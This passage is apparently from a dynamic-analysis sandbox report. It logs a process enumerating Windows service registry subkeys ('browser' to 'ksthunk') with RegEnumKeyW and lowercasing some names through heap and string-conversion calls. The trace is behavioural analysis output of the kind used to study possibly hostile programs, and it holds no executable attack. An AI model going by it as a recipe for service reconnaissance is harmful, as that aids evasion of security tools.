cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.349] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.349] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.349] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.349] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.350] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.350] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.350] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: 